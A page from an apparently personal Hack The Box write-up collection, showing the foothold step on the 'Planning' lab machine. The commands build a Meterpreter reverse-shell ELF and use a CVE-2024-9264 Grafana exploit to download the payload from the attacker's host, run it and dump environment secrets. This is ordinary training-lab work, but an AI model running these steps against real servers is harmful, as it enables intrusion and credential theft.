Hack The Box
LinkedIn
  • Hack The Box
    • Windows Boxes
      • Mantis
        • Recon
          • nmap
        • Eumeration
          • 1337
          • 8080
          • 445
          • 88
          • 1433,50255
          • rpc
          • enum4linux
        • Foothold
          • Enumeration
          • james
        • Priv Esc
        • Credentials
      • Outdated
        • Recon
          • nmap
        • Eumeration
          • 445
          • 25
        • Foothold
        • Priv Esc
        • Credentials
      • Driver
        • Recon
          • nmap
        • Eumeration
          • 445
          • 80
        • Foothold
        • Priv Esc
        • Credentials
      • Remote
        • Recon
          • nmap
        • Eumeration
          • 21
          • 111
          • 80
        • Foothold
        • Priv Esc
        • Credentials
      • Forest
        • Recon
          • nmap
        • Enumeration
          • 88
          • 445
          • 389,135
        • Foothold
          • Enumeration
          • Priv Esc
      • Manager
        • Recon
          • nmap
        • Enumeration
          • 80
          • 1433
          • 445
          • 88
        • Foothold
          • Enumeration
          • Priv Esc
      • Hospital
        • Recon
          • nmap
        • Enumeration
          • 80
          • 8080
        • Foothold
          • Priv Esc (Web Server)
          • Pivot
          • Priv Esc (Windows)
      • Querier
        • Recon
          • nmap
        • Enumeration
          • 445
          • 1433
          • digging
        • Foothold
        • Enumeration
        • Priv Esc
      • Sauna
        • Recon
          • nmap
        • Eunmeration
          • 80
            • ffuf
          • 445
          • 88
        • Foothold
        • Eumeration
        • Priv Esc
          • svc_mgr
        • Credentials
      • Active
        • Recon
          • nmap
        • Eumeration
          • 445
          • 88
          • enum4linux
        • Foothold
          • Enumeration
        • Priv Esc
      • Resolute
        • Recon
          • nmap
        • Eumeration
          • enum4linux
          • 445
          • rpc
          • Page 3
        • Foothold
          • Enumeration
        • Priv Esc
          • ryan
          • nt authority\system
        • Users
      • Legacy
        • Recon
          • nmap
        • Eumeration
          • 445
          • enum4linux
          • Page 2
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Granny
        • Recon
          • nmap
        • Eumeration
          • 80
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Grandpa
        • Recon
          • nmap
        • Eumeration
          • 80
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Bounty
        • Recon
          • nmap
        • Eumeration
          • 80
          • Page 1
          • Page 2
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Cascade
        • Recon
          • nmap
        • Eumeration
          • Page
          • Page 1
          • Page 2
          • enum4linux
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Mailing
        • Recon
          • nmap
        • Eumeration
          • 80
        • Foothold
        • Priv Esc
        • Credentials
    • Linux Boxes
      • Cypher
        • Recon
          • nmap
        • Eumeration
          • 80
          • Page 1
          • Page 2
        • Foothold
        • Priv Esc
        • Credentials
      • Union
        • Recon
          • nmap
        • Eumeration
          • 80
        • Foothold
        • Priv Esc
        • Credentials
      • Trick
        • Recon
          • nmap
        • Eumeration
          • 53
          • 25
          • 80
        • Foothold
        • Priv Esc
        • Credentials
      • Shoppy
        • Recon
          • nmap
        • Eumeration
          • 80
          • 9093
        • Foothold
        • Priv Esc
        • Credentials
      • Delivery
        • Recon
          • nmap
        • Eumeration
          • 80
          • 8065
        • Foothold
        • Priv Esc
        • Credentials
      • MetaTwo
        • Recon
          • nmap
        • Eumeration
          • 21
          • 80
        • Foothold
        • Priv Esc
        • Credentials
      • Codify
        • Recon
          • nmap
        • Eumeration
          • 80
            • ffuf
          • 22
          • 3000
        • Foothold
        • Priv Esc
          • joshua
          • root
        • emails
      • Valentine
        • Recon
          • nmap
          • vuln
        • Eumeration
          • 80
          • 443
          • 22
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Headless
        • Recon
          • nmap
        • Eumeration
          • 5000
          • 22
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Bizness
        • Recon
          • nmap
        • Eumeration
          • 443,80
          • 22
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Devvortex
        • Recon
          • nmap
        • Eumeration
          • 80
          • 22
        • Foothold
          • Enumeration
          • logan
        • Priv Esc
        • Credentials
      • Boardlight
        • Recon
          • nmap
        • Eumeration
          • Page
          • Page 1
          • Page 2
        • Foothold
          • Enumeration
        • Priv Esc
        • Credentials
      • Planning
        • Recon
          • nmap
        • Eumeration
          • 22
          • 80
        • Foothold
        • Priv Esc
        • Credentials
      • Dog
        • Recon
          • nmap
        • Eumeration
          • 80
        • Foothold
        • Priv Esc
        • Credentials
    • OSCP like Boxes
      • Linux
        • Jarvis
          • Recon
            • nmap
          • Eumeration
            • 80
            • 64999
          • Foothold
            • Enumeration
          • Priv Esc
            • Pepper
            • root
          • Credentials
        • UpDown
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
          • Priv Esc
          • Credentials
        • SolidState
          • Recon
            • nmap
          • Eumeration
            • 80
            • 4555
            • Page 2
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Node
          • Recon
            • nmap
          • Eumeration
            • 3000
          • Foothold
          • Priv Esc
            • tom
            • root
          • Credentials
        • Busqueda
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Sau
          • Recon
            • nmap
          • Eumeration
            • 80
            • 55555
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Keeper
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Broker
          • Recon
            • nmap
          • Eumeration
            • 80
            • 61613 61616
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Pandora
          • Recon
            • nmap
          • Eumeration
            • 80
            • 161 [UDP]
          • Foothold
            • Enumeration
          • Priv esc
            • Matt
            • root
          • Credentials
        • Soccer
          • Recon
            • nmap
          • Eumeration
            • 80
            • 9091
            • Page 2
          • Foothold
            • Enumeration
          • Priv Esc
            • Player
            • root
          • Credentials
        • Sense
          • Recon
            • nmap
            • web services
          • Eumeration
            • 80,443
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Nibbles
          • Recon
            • nmap
          • Eumeration
            • 80
              • Dir busting
          • Foothold
          • Priv Esc
          • Credentials
        • Editorial
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
          • Priv Esc
          • Credentials
      • Windows
        • Intelligence
          • Recon
            • nmap
            • web
          • Eumeration
            • 80
            • Page 1
            • Page 2
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • StreamIO
          • Recon
            • nmap
            • web 443
          • Eumeration
            • 80
            • 443
            • Page 4
          • Exploit Chain
            • SQL Injection
            • Loggin into application
            • Exploiting master.php (Foothold)
          • Priv Esc
            • nikk37
            • JDGODD
            • Administrator/Martin
          • Credentials + Users
        • Escape
          • Recon
            • nmap
          • Eumeration
            • 445
            • 1433
            • Page 2
          • Foothold
            • Enumeration
          • Priv Esc
            • Ryan.Cooper
            • Administrator
            • Silver Ticket - Alternate Route
          • Credentials
        • SecNotes
          • Recon
            • nmap
          • Eumeration
            • 80
            • 8808
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Jeeves
          • Recon
            • nmap
          • Eumeration
            • 80
            • 5000
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Return
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
          • Priv Esc
          • Credentials
        • Active
          • Recon
            • nmap
            • enum4linux
          • Eumeration
            • 445
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Love
          • Recon
            • nmap
          • Eumeration
            • 80
            • Page 1
            • Page 2
          • Foothold
            • Intended route
            • Enumeration
          • Priv Esc
          • Credentials
        • ServMon
          • Recon
            • nmap
          • Eumeration
            • 21
            • 80
            • 8443
            • 445
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Support
          • Recon
            • nmap
          • Eumeration
            • 445
            • 88 Kerberos
            • 389
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Sauna
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Forest
          • Recon
            • nmap
          • Eumeration
            • Page
            • Page 1
            • Page 2
          • Foothold
            • Enumeration
          • Priv Esc
          • Credentials
        • Perfection
          • Recon
            • nmap
          • Eumeration
            • 80
          • Foothold
          • Priv Esc
          • Credentials
    • Pro Labs
      • Dante
    • Template
      • Recon
        • nmap
      • Eumeration
        • Page
        • Page 1
        • Page 2
      • Foothold
      • Priv Esc
      • Credentials
Powered by GitBook
On this page

Was this helpful?

  1. Hack The Box
  2. Linux Boxes
  3. Planning

Foothold

Previous80NextPriv Esc

Last updated 13 hours ago

Was this helpful?

❯ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 -f elf > shell.elf

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
❯ msfconsole -q -x 'use exploit/multi/handler;set payload linux/x64/meterpreter/reverse_tcp;set LHOST tun0; set LPORT 4443; run'
[*] Using configured payload generic/shell_reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
LHOST => tun0
LPORT => 4443
[*] Started reverse TCP handler on 10.10.14.3:4443
❯ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r  -c 'wget http://10.10.14.3/shell.elf' http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: wget http://10.10.14.3/shell.elf
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('wget
http://10.10.14.3/shell.elf >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
--2025-06-07 01:46:21--  http://10.10.14.3/shell.elf
Connecting to 10.10.14.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 250 [application/octet-stream]
Saving to: 'shell.elf'

     0K                                                       100% 26.2K=0.009s

2025-06-07 01:46:21 (26.2 KB/s) - 'shell.elf' saved [250/250]

❯ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r  -c 'chmod +x shell.elf' http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: chmod +x shell.elf
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('chmod +x
shell.elf >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
❯ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r  -c './shell.elf' http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: ./shell.elf
⠸ Running duckdb query

We clearly inna Docker Container lol

Shell was wonky so ran the following using the exploit

❯ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r  -c 'env' http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: env
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM
read_csv('env >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
SHLVL=0
AWS_AUTH_EXTERNAL_ID=
HOME=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana
enzo:RioTecRANDEntANT!

Creds

🍩
GitHub - nollium/CVE-2024-9264: Exploit for Grafana arbitrary file-read (CVE-2024-9264)GitHub
Logo